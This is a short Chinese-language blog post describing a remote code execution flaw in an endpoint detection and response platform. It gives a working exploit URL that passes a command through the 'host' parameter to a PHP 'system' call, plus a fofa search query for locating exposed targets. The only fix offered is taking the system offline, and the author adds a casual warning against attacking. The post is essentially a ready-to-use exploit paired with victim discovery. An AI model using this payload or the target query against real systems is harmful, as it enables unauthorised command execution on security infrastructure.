本文介绍了一个通过修改host参数实现远程代码执行（RCE）的payload案例，展示了如何利用特定URL进行攻击。文中提及的fofa语法可用于搜索潜在的易受攻击目标。然而，鉴于资产主要位于国内，作者呼吁不要随意进行攻击。
payload
https://ip+端口/tool/log/c.php?strip_slashes=system&host=whoami
改改host的参数就能rce
fofa语法
title="终端检测响应平台"
处理方式
只能暂时下线，貌似问题还比较多，很多要重写
资产基本是国内的，别乱打了，，，
扫一扫
评论
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
查看更多评论
添加红包
